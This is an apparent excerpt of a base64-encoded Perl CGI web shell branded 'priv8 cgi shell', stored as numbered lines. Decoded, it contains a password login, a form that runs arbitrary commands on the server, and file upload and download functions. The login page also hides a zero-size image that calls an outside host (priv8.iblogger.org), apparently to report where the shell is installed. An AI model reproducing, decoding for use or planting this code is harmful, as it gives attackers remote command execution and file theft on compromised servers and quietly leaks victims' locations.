1751LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1752LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
1753LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1754LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
1755c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
1756ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
1757ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
1758TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
1759ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
1760RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1761LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
1762IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1763LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1764LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
1765DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
1766Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1767LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
1768cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1769LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1770dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
1771PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
1772PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
1773Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
1774Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
1775MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
1776IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
1777DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1778LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
1779TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1780LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
1781cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1782LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1783LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
1784biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
1785LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1786LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
1787KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
1788cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
1789JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1790LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
1791aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1792LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1793CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
1794ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
1795LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1796LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
1797IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1798LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
1799aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
1800CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
1801TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
1802CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1803LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
1804aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
1805Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
1806ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
1807cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
1808LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1809LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
1810c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
1811RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
1812aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
1813IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
1814JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
1815c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
1816CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
1817LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1818LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
1819aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1820LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
1821aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1822RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
1823PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
1824cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
1825ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1826JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
1827dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
1828LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1829LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
1830ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1831LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
1832bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
1833IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
1834b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
1835biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1836PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
1837ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
1838aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
1839QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1840LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1841LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
1842IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1843LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
1844ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
1845TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
1846bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
1847PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
1848bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
1849YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
1850dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
1851aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
1852bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
1853ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
1854LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1855LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
1856dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
1857cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
1858cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
1859LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1860LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
1861CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
1862ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
1863KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
1864CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
1865LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1866LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
1867ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
1868IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
1869ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
1870IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
1871bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
1872bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
1873ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
1874LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1875LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
1876XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
1877aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
1878bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
1879JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
1880Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
1881ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
1882JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
1883DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
1884CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1885RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
1886IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
1887aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
1888ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
1889VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
1890dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
1891IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
1892ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
1893XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
1894bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
1895bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
1896aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
1897LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1898LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
1899Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
1900c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
1901ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
1902bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
1903ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1904LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
1905Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
1906eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
1907dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
1908KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
1909JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
1910PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
1911dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
1912ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
1913b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
1914DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
1915CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
1916DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
1917ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
1918LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1919LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
1920bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
1921IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
1922ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
1923LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1924LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
1925KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
1926DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
1927RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
1928ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
1929VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
1930ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
1931IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
1932RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
1933YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
1934ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
1935DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1936LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
1937ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
1938IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
1939Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
1940aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
1941IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1942LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1943dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
1944aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
